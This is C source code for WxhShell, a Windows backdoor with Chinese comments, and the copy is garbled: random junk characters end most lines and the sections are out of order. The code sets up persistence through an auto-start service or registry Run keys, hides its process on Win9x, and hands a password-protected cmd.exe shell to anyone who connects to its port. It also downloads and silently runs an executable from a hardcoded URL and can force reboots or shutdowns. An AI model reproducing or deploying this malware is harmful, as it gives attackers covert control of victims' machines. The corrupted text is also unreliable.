    else { wW>A_{Y  
    closesocket(wsh); M:Pc,  
    ExitThread(0); xF!,IKlBBp  
    } ag [ZW  
    break; akp-zn&je  
    } =$'6(aDH  
  // 关机 01t1Z}!y  
  case 'd': { ^aItoJq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0"<H;7K#W  
    if(Boot(SHUTDOWN)) p`olCp'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZMQ Zs~;~d  
    else { .*OdqLz  
    closesocket(wsh); wr$("A(  
    ExitThread(0); oH97=>  
    } ,wQ5.U,  
    break; DhKS pA  
    } ;`0%t$@-  
  // 获取shell C0T;![/4A  
  case 's': { (KjoSN( K  
    CmdShell(wsh); igCZ|Ru\  
    closesocket(wsh); W=N+VqK  
    ExitThread(0); Cio 1E-4  
    break; rBQ_iB_  
  } 0q()|y?}  
  // 退出 ^O?/yV?4c  
  case 'x': { UXJ eAE-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &* M!lxDN  
    CloseIt(wsh); =W(Q34  
    break; n\mO6aJ  
    } (S>C#A=E\  
  // 离开 |3(' N#|  
  case 'q': { i1}:8Unxf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G|bT9f$  
    closesocket(wsh); f z'@_4hg  
    WSACleanup(); LBw1g<&  
    exit(1); g];!&R-  
    break; I ce~oz)  
        } ^9v4OUG  
  } l!D}3jD  
  } ~[t[y~Hup  
Cjn#00  
  // 提示信息 b6,iZ+]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z@4Ar fl  
} ` 'DmDg  
  } 5AFJC?   
is?{MJZ_  
  return; .Y tKS  
} w'>pY  
R$R *'l  
// shell模块句柄 !z\h| wU+  
int CmdShell(SOCKET sock) \1k79c  
{ Hus)c3Ty7  
STARTUPINFO si; '{cIAw/"n  
ZeroMemory(&si,sizeof(si)); E^ B'4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L^1NY3=$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ( >LF(ll  
PROCESS_INFORMATION ProcessInfo; ?tWaI{95I  
char cmdline[]="cmd"; Yj&F;_~   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )v'WWwXY>  
  return 0; 0_jf/an,%  
} \[;0 KV_  
.yoH/2h  
// 自身启动模式 k$n|*kCh  
int StartFromService(void) /J]5H  
{ P0;n9>g  
typedef struct /p/]t,-j2  
{ |Tv#4st  
  DWORD ExitStatus; pIc#L>{E  
  DWORD PebBaseAddress; * ` JYC  
  DWORD AffinityMask; z0 d.J1VW  
  DWORD BasePriority; sU=H&D99  
  ULONG UniqueProcessId; D(~U6SR  
  ULONG InheritedFromUniqueProcessId; %Tfbsyf%f  
}   PROCESS_BASIC_INFORMATION; ]=\].% >  
H%[eV8  
PROCNTQSIP NtQueryInformationProcess; oh4E7yN  
vx{}}/B]J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; })'B<vq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,V7nzhA2  
Ugr!"Q#M  
  HANDLE             hProcess; % aP!hy  
  PROCESS_BASIC_INFORMATION pbi; 0- B5`=yU  
XgZD%7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A[B<~  
  if(NULL == hInst ) return 0; &5>Kl}7  
jVEGj5F;N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Fq} N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :a!^   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,<.V7(|t)  
P?%s #I:  
  if (!NtQueryInformationProcess) return 0; D ;RiGW4  
9[#pIPxNK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |NlO7aQ>2H  
  if(!hProcess) return 0; ~?l | [  
+V2F#fI/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \UA[  
(|2t#'m  
  CloseHandle(hProcess); Kf3"Wf^q   
n3WlZ!$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aHD]k8 m z  
if(hProcess==NULL) return 0; r-,%2y?  
<]ox;-56  
HMODULE hMod; !M(xG%M-V  
char procName[255]; [DuttFX^x  
unsigned long cbNeeded; %O;:af"Ja8  
W"scV@HKu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EAUEQk?9  
YqscZ(L:y  
  CloseHandle(hProcess); `Gs9Xmc|  
j/DzCcp7  
if(strstr(procName,"services")) return 1; // 以服务启动 )+#` CIv  
p:&8sO!m  
  return 0; // 注册表启动 "MeVE#O  
} -abt:or  
*tA1az-jO  
// 主模块 a .#)G[*  
int StartWxhshell(LPSTR lpCmdLine) :@Pl pF K  
{ Z{*\S0^ST  
  SOCKET wsl; 7g^]:3f!   
BOOL val=TRUE; XPc^Tq  
  int port=0; [NTzcSN.  
  struct sockaddr_in door; : 6jbt:  
,~U>'&M;  
  if(wscfg.ws_autoins) Install(); x>K Or,f  
4Z3su^XR  
port=atoi(lpCmdLine); 6jaEv#  
/|}EL%a  
if(port<=0) port=wscfg.ws_port; &C_j\7Dq  
cVv=*81\  
  WSADATA data; `bq<$e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }RF(CwZr(  
phXGn m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   70?\ugxA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z-%\ <zT  
  door.sin_family = AF_INET; ic:zsuEm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b`Zx!^  
  door.sin_port = htons(port); lf|FWqqV  
#~]zhHI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'ms-*c&  
closesocket(wsl); }rUN_.n4z  
return 1; q1x`Bj   
} `7E;VL^Y1  
T=DbBy0-  
  if(listen(wsl,2) == INVALID_SOCKET) { ^dWa;m]l  
closesocket(wsl); jVe1b1rt~3  
return 1; ]h`&&Bqt  
} LE Nq_@$  
  Wxhshell(wsl); bIDj[-CDG  
  WSACleanup(); P}}* Q7P  
l:~/<`o  
return 0; J3V= 46Yc  
uo9B9"&  
} ELoDd&d8  
!/b>sN}  
// 以NT服务方式启动 n` _{9R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,&A7iO  
{ dl)Y'DI  
DWORD   status = 0; mthA4sz  
  DWORD   specificError = 0xfffffff; n&4N[Qlv,  
C}j"Qi`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XX TL..  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K!%+0)A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #lo6c;*m5  
  serviceStatus.dwWin32ExitCode     = 0; KfEx"94  
  serviceStatus.dwServiceSpecificExitCode = 0; Y1\}5k{>  
  serviceStatus.dwCheckPoint       = 0; NG=-NxEcN  
  serviceStatus.dwWaitHint       = 0; :`#d:.@]o@  
QO:!p5^:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /{J4:N'B>  
  if (hServiceStatusHandle==0) return; rBzuKQK}J  
rgQOj^xKv^  
status = GetLastError(); ,2oWWsC7  
  if (status!=NO_ERROR) C3f' {}  
{ ! I:%0D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; df+l%9@  
    serviceStatus.dwCheckPoint       = 0; )r?}P1J7  
    serviceStatus.dwWaitHint       = 0; M] %?>G  
    serviceStatus.dwWin32ExitCode     = status; _yx>TE2e  
    serviceStatus.dwServiceSpecificExitCode = specificError; O`kl\K*R7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3*XNV  
    return; }"H,h)T  
  } R%WCH?B<}  
yxQ1`'[CR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hh%-(HaLX3  
  serviceStatus.dwCheckPoint       = 0; &m7]v,&  
  serviceStatus.dwWaitHint       = 0; a5^] 20Fa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sE<V5`Z=  
} 79j+vH!zh  
H2 {+)  
// 处理NT服务事件,比如:启动、停止 u~:y\/Y6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 05#1w#i  
{ Mj3A5;#  
switch(fdwControl) h2A <"w  
{  qA7>vi%  
case SERVICE_CONTROL_STOP: k"%~"9  
  serviceStatus.dwWin32ExitCode = 0; K7B/s9/xs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |Zpfq63W  
  serviceStatus.dwCheckPoint   = 0; *;slV3  
  serviceStatus.dwWaitHint     = 0; +o{R _  
  { M/'sl;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [S%_In   
  } O6 3<AY@  
  return; 2wg5#i  
case SERVICE_CONTROL_PAUSE: )EuvRLo{S7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uAq~=)F>,  
  break; ^/>(6>S^M  
case SERVICE_CONTROL_CONTINUE: x+:UN'"r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mDABH@ R  
  break; =o(5_S.u;  
case SERVICE_CONTROL_INTERROGATE: 9&2O 9Nz6  
  break; X7 MM2V  
}; bo>*fNqAIy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4B1v4g8}  
} d L 1tl  
4[r0G+  
// 标准应用程序主函数 y2dCEmhY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5lmHotj#  
{ kCF>nt@  
dq6m>;`  
// 获取操作系统版本 _/$Bpr{R  
OsIsNt=GetOsVer(); 7>0o&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x /S}Q8!"}  
xh,qNnGGi  
  // 从命令行安装 \ a<h/4#|  
  if(strpbrk(lpCmdLine,"iI")) Install(); k,6f &#x  
/4V#C-  
  // 下载执行文件 "Yv_B3p   
if(wscfg.ws_downexe) { .V/Rfq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ::lKL  
  WinExec(wscfg.ws_filenam,SW_HIDE); wu!59pL  
} 33x{CY15  
bHYy}weZ  
if(!OsIsNt) { X/!o\yyT  
// 如果时win9x,隐藏进程并且设置为注册表启动 @f~RdO3  
HideProc(); wE>\7a*P%  
StartWxhshell(lpCmdLine); iL&fgF"'  
} 6r0krbN  
else %D34/=(X  
  if(StartFromService()) KeB"D!={;  
  // 以服务方式启动 WRbj01v  
  StartServiceCtrlDispatcher(DispatchTable); BLdvyVFx  
else ItVWO:x&v  
  // 普通方式启动 %6,SKg p  
  StartWxhshell(lpCmdLine); PI)+Jr%L  
(O?.)jEW(.  
return 0; d#Y^>"|$.  
} rSk >  
X1|njJGO1  
Jb@V}Ul$  
Lc,Pom  
=========================================== *b}HNX|  
;O6;.5q&  
|Nn)m  
RDi]2  
BWa,f8  
AaOu L,l  
" F?*-4I-  
M61xPq8y5  
#include <stdio.h> |Q6.299  
#include <string.h> *8Xh(` Mj7  
#include <windows.h> ~O0 $Suv  
#include <winsock2.h> y/{fX(aV  
#include <winsvc.h> wC+u73599  
#include <urlmon.h> *[Tz![|  
nI-w}NQ  
#pragma comment (lib, "Ws2_32.lib") H3 ^},.  
#pragma comment (lib, "urlmon.lib") n8 i] z  
SiRaFj4s"  
#define MAX_USER   100 // 最大客户端连接数 KIf dafRL  
#define BUF_SOCK   200 // sock buffer gMmaK0uhS  
#define KEY_BUFF   255 // 输入 buffer kk@fL  
SCHP L.n  
#define REBOOT     0   // 重启 vn!3l1\+J  
#define SHUTDOWN   1   // 关机 5h-SCB>P  
Tod&&T'UW  
#define DEF_PORT   5000 // 监听端口 &\WSQmtto  
BC#C9|n  
#define REG_LEN     16   // 注册表键长度 zuad~%D<I  
#define SVC_LEN     80   // NT服务名长度 T{.pM4Hd  
?m}s4a  
// 从dll定义API 3>AMII  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4y?n [/M/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u(>^3PJ+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L-WT]&n_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )._;~z!  
Fn;SF4KOm  
// wxhshell配置信息 Uw. `7b>B  
struct WSCFG { wPd3F.<$  
  int ws_port;         // 监听端口 ^R7lom.  
  char ws_passstr[REG_LEN]; // 口令 ]I dk:et  
  int ws_autoins;       // 安装标记, 1=yes 0=no :'-/NtV)o?  
  char ws_regname[REG_LEN]; // 注册表键名 gjwn7_  
  char ws_svcname[REG_LEN]; // 服务名 ^e_hLX\SW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x7&B$.>3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @s;;O\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H?vdr:WlTN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IqaT?+O\?r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C=L>zOZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Bi3<7  
{OkV%Q<  
}; |`2RShu  
yy^q2P  
// default Wxhshell configuration Cazocq5  
struct WSCFG wscfg={DEF_PORT, !Y0Vid  
    "xuhuanlingzhe", x;P_1J%Q  
    1, mZS >O_E  
    "Wxhshell", XH4  
    "Wxhshell", { M4gF8(M  
            "WxhShell Service", )Xz,j9GzJS  
    "Wrsky Windows CmdShell Service", QC OM_$y  
    "Please Input Your Password: ", .PIL +x*]N  
  1, ArI2wM/v  
  "http://www.wrsky.com/wxhshell.exe", s^G.]%iU  
  "Wxhshell.exe" l|JE#  
    }; [2!w_Iw'  
u"cV%(#  
// 消息定义模块 *eTqVG.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X"|['t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '6iEMg&3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P6'1.R  
char *msg_ws_ext="\n\rExit."; JW83Tp8[8  
char *msg_ws_end="\n\rQuit."; h,u, ^ r  
char *msg_ws_boot="\n\rReboot..."; PB\(=  
char *msg_ws_poff="\n\rShutdown..."; B[Ku\A6&  
char *msg_ws_down="\n\rSave to "; )1J R#  
n`B:;2X,  
char *msg_ws_err="\n\rErr!"; Ct<udO  
char *msg_ws_ok="\n\rOK!"; _/s$ZCd  
*MhRW,=  
char ExeFile[MAX_PATH]; z;,u}u}aI  
int nUser = 0; m{Wu" ;e  
HANDLE handles[MAX_USER]; Y1W1=Uc uk  
int OsIsNt; K,;E5  
~tS Z%q  
SERVICE_STATUS       serviceStatus; J9--tJ?[>o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TVtvuvQ2K  
TTX5EDCrC  
// 函数声明 ok"k*?Ov  
int Install(void); |/|5UiX7  
int Uninstall(void); b5dD/-Vj  
int DownloadFile(char *sURL, SOCKET wsh); E1aHKjLQ  
int Boot(int flag); O_ muD\  
void HideProc(void); 6EoMt@7g  
int GetOsVer(void); W dK #ZOR  
int Wxhshell(SOCKET wsl); ?DS@e@lx  
void TalkWithClient(void *cs); f M :]&  
int CmdShell(SOCKET sock); (?1y4M  
int StartFromService(void); B?gOHG*vd>  
int StartWxhshell(LPSTR lpCmdLine); $Ps|HN  
Af~$TyX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >^?u .gM3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `t>l:<@%  
iJ)_RSFK  
// 数据结构和表定义 9IdA%RM~mH  
SERVICE_TABLE_ENTRY DispatchTable[] = \$~|ZwV{  
{ #K_ii)n  
{wscfg.ws_svcname, NTServiceMain}, [B*x-R[FI  
{NULL, NULL} HTv2#  
}; vFzRg5lH  
}^ ~F|  
// 自我安装 !I{0 _b{  
int Install(void) p}z<Fdu 0  
{ hn7# L  
  char svExeFile[MAX_PATH]; >W=,j)MA  
  HKEY key; ;LKkbT 5  
  strcpy(svExeFile,ExeFile);  L^/5ux  
e9Wa<i 8  
// 如果是win9x系统,修改注册表设为自启动 hE'-is@7  
if(!OsIsNt) { 4$HhP, gL=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3)t.p>VgO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fj8z  
  RegCloseKey(key); P-9)38`5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kr^P6}'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \"w"$9o6  
  RegCloseKey(key); T$)^gHS  
  return 0; r..iko]T  
    } L:$ ,v^2  
  } U*rcd-@  
} Y #ap*  
else { /Iu 1L#  
)` SrfGp8  
// 如果是NT以上系统,安装为系统服务 ;0]aq0_#(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :[.vM  
if (schSCManager!=0) IEL%!RFG  
{ 6fE7W>la  
  SC_HANDLE schService = CreateService .Bl\Z  
  ( XFVE>/H  
  schSCManager, K C*e/J  
  wscfg.ws_svcname, y;m|  
  wscfg.ws_svcdisp, 1W c=5!  
  SERVICE_ALL_ACCESS, nK1Slg#U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >mbHy<<  
  SERVICE_AUTO_START, 9d0@wq.  
  SERVICE_ERROR_NORMAL, =g7x' kN  
  svExeFile, ;Zcswt8]u  
  NULL, ih-#5M@  
  NULL, gMi0FO'  
  NULL, ]\-A;}\e  
  NULL, ch*8B(:  
  NULL >4x(e\B  
  ); { T/[cu<  
  if (schService!=0) T= 80,  
  { \i>?q   
  CloseServiceHandle(schService); Fk&c=V;SU  
  CloseServiceHandle(schSCManager); x /(^7#u,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2lZ Q)   
  strcat(svExeFile,wscfg.ws_svcname); k&M;,e3v6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `z}?"BW|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yt+L0wzzB  
  RegCloseKey(key); (fH#I tf  
  return 0; [~+wk9P  
    } 2"v6 >b%  
  } >>4qJ%bL  
  CloseServiceHandle(schSCManager); sU<Wnz\[  
} }`@vF|2L  
} h6Ub}(Ov  
:^lI`9'*R  
return 1; LRxZcxmy  
} i]c!~`  
h:))@@7MJ  
// 自我卸载 i'<[DjMDlm  
int Uninstall(void) : g7@PJND  
{ B6+khuG(  
  HKEY key; g\|PcoLm  
''cInTCr  
if(!OsIsNt) { d"1]4.c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ql Ax  
  RegDeleteValue(key,wscfg.ws_regname); J/`<!$<c  
  RegCloseKey(key); ^do9*YejX;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f#>,1,S  
  RegDeleteValue(key,wscfg.ws_regname); tH@Erh|%  
  RegCloseKey(key); #Qw0&kM7I  
  return 0; .fqN|[>  
  } 5;Czu(iH$  
} nQZx= JK  
} +%z> H"J.  
else { G{~J|{t\yz  
@,j*wnR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @f>-^  
if (schSCManager!=0) '`[&}R  
{ oi7@s0@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UkwP  
  if (schService!=0) d UE,U=  
  { b<[Or^X ]  
  if(DeleteService(schService)!=0) { *uRBzO}  
  CloseServiceHandle(schService); k!j5tsiR  
  CloseServiceHandle(schSCManager); ^]Y> [[  
  return 0; 2 0h} [Q(  
  } 4&lv6`G `  
  CloseServiceHandle(schService); W\$`w  
  } )2KF}{  
  CloseServiceHandle(schSCManager); {_"<1C  
} HQ_Ok `  
} ^rR1ZVY  
S/hQZHZHg,  
return 1; Ux!p8  
} `6(S^P  
IVnHf_PzF  
// 从指定url下载文件 ?/E~/;+7=  
int DownloadFile(char *sURL, SOCKET wsh) |fJ};RLI"  
{ Jl8H|<g~/  
  HRESULT hr; HXC ;Np  
char seps[]= "/";  #4NaL  
char *token; edq4D53  
char *file; 7vKK%H_P  
char myURL[MAX_PATH]; A/$QaB,x  
char myFILE[MAX_PATH]; WF+99?75  
V]6dscQ  
strcpy(myURL,sURL); ij`w} V  
  token=strtok(myURL,seps); ea2ayT  
  while(token!=NULL) 9Q^r O26+  
  { K=Z|/Kkh  
    file=token; =!A_^;NQf  
  token=strtok(NULL,seps); %g$o/A$  
  } \A#41  
{%5eMyF#  
GetCurrentDirectory(MAX_PATH,myFILE); ?3`UbN:  
strcat(myFILE, "\\"); :K,i\  
strcat(myFILE, file); T@B/xAq5!  
  send(wsh,myFILE,strlen(myFILE),0); /N10  
send(wsh,"...",3,0); x_Y!5yg E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H [\o RId  
  if(hr==S_OK) oG?Xk%7&\  
return 0; 3BUSv#w{i  
else 9wUkh}s  
return 1; !X#OOqPr=  
!;v|'I  
} yjX9oxhtL  
<8&au(I,vB  
// 系统电源模块 a(X@Q8l:  
int Boot(int flag) `UyG_;  
{ '3tCH)s  
  HANDLE hToken; FIhk@TKa  
  TOKEN_PRIVILEGES tkp; !sP {gi#=  
wH&!W~M  
  if(OsIsNt) { *I.f1lz%*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ORw,)l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `cUl7 'j  
    tkp.PrivilegeCount = 1; '3fu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s?}e^/"v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :J@ gmY:C  
if(flag==REBOOT) { + .[ <%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >uB# &Q  
  return 0; ]y '>=a|T  
} ^A/k)x6  
else { ` p-cSxR_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 83\pZ1>)_  
  return 0; } 9Eg=%0v  
} B%b4v  
  } u'DRN,h+  
  else { E7UU  
if(flag==REBOOT) { sf87$S0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I3I/bofz  
  return 0; lvz7#f L~  
} azp):*f("  
else { P l]O\vh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5c0 ZRV#  
  return 0; \'D0'\:vz  
} @o _}g !9=  
} mR:uj2*  
Ya"a`ozq  
return 1; =s2*H8]  
} osAd1<EIC  
f}f9@>.  
// win9x进程隐藏模块 >*_$]E  
void HideProc(void) 4F'LBS]=0  
{ Jhhb7uU+  
7,o7Cf2z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `?_Q5lp/s  
  if ( hKernel != NULL ) $|@@Qk/T  
  { g |yvF-+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xF'EiX~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q dBrQC  
    FreeLibrary(hKernel); zKJ#`OhT  
  } d#4**BM  
)23H1  
return; IY\5@PVZ  
} "7F?@D$e  
cf20.F{<  
// 获取操作系统版本 7' V@+5  
int GetOsVer(void) u0c1:Uv#~e  
{ _op}1   
  OSVERSIONINFO winfo; 6iE<T&$3P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )yZ^[uJ}3C  
  GetVersionEx(&winfo); k"zv~`i'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zE9W8:7  
  return 1; &.Qrs :U  
  else 'XjZ_ng  
  return 0; qi D@'Va\  
} k2tF}  
@9RM9zK.q  
// 客户端句柄模块 {qJ1ko)$  
int Wxhshell(SOCKET wsl) #a,PZDaE  
{ bJ {'<J  
  SOCKET wsh; 9 -a0:bP  
  struct sockaddr_in client; '$(^W@M#6  
  DWORD myID; #'szP\  
D8?Vn"  
  while(nUser<MAX_USER) s$`0yGmQ  
{ CxW>~O:  
  int nSize=sizeof(client); c]o'xd,T8\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {]@= ijjf  
  if(wsh==INVALID_SOCKET) return 1; =K[yT:  
"e>;'%W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vw/J8'  
if(handles[nUser]==0) >jLY"  
  closesocket(wsh); O-hAFKx  
else ~4Fvy'  
  nUser++; >tV{Pd1  
  } sBg.u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %pL''R9VF  
S g![Lsj  
  return 0; .g<DD)`  
} z,p~z*4  
0pd'93C  
// 关闭 socket 3~ {:`[0Q  
void CloseIt(SOCKET wsh) p6Gy ,C.  
{ H40p86@M  
closesocket(wsh); *P=VFP  
nUser--; E4/Dr}4  
ExitThread(0); xOmi\VbM  
} mNTzUoZF'@  
;'@9[N9  
// 客户端请求句柄 0=1T.4+=  
void TalkWithClient(void *cs) m&,(Jla  
{ `d`T*_  
^Y \"}D  
  SOCKET wsh=(SOCKET)cs; d^ 8ZeC#  
  char pwd[SVC_LEN]; u `6:5k  
  char cmd[KEY_BUFF]; !z3jTv  
char chr[1]; /7F:T[  
int i,j; X5$Iyis  
xY(*.T9K  
  while (nUser < MAX_USER) { %l[( Iw  
E]-/Zbvdv  
if(wscfg.ws_passstr) { >} i  E(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &B1WtW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JjTegQN  
  //ZeroMemory(pwd,KEY_BUFF); n;Vs_u/Nx  
      i=0; "]Xc`3SM  
  while(i<SVC_LEN) { \Uq(Zga4)  
SoK iE  
  // 设置超时 MAPGJ"?  
  fd_set FdRead; lX4 x*  
  struct timeval TimeOut; "@0]G<H  
  FD_ZERO(&FdRead); +iRh  
  FD_SET(wsh,&FdRead); . 3T3E X|G  
  TimeOut.tv_sec=8; hhc,uJ">!  
  TimeOut.tv_usec=0; Pu$Tk |  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;iL#7NG-R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X\qNG]  
Fywv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #.)0xfGW)n  
  pwd=chr[0]; RMu~l@  
  if(chr[0]==0xd || chr[0]==0xa) { <R=Zs[9M1  
  pwd=0; lzVq1@B  
  break; 1\2no{Vh  
  } >U27];}y  
  i++; R$[vm6T?  
    } fuf"Ae  
)zdQ1&@  
  // 如果是非法用户,关闭 socket Bn&ze.F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n9ej7oj  
} \\;jw[P0  
^8N}9a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hT+_(>hT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VTY 5]|;  
.Vvx,>>D  
while(1) { R(G7m@@{  
RQ" ,3.R==  
  ZeroMemory(cmd,KEY_BUFF); d|Lj~x|  
4O!ikmY:t  
      // 自动支持客户端 telnet标准   12gU{VD  
  j=0;  S9FE  
  while(j<KEY_BUFF) { 0)Wltw~`&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H8}oIA"b  
  cmd[j]=chr[0]; 6A+nS=  
  if(chr[0]==0xa || chr[0]==0xd) { mtcw#D  
  cmd[j]=0; T!)(Dv8@F  
  break; PIS2Ed]  
  } -k"/X8  
  j++; P8/0H(,  
    } 5D//*}b,  
*_\_'@1|J)  
  // 下载文件 oV78Hq6  
  if(strstr(cmd,"http://")) { Q K<"2p?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a~y'RyA  
  if(DownloadFile(cmd,wsh)) "b3"TPfK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G mA< g  
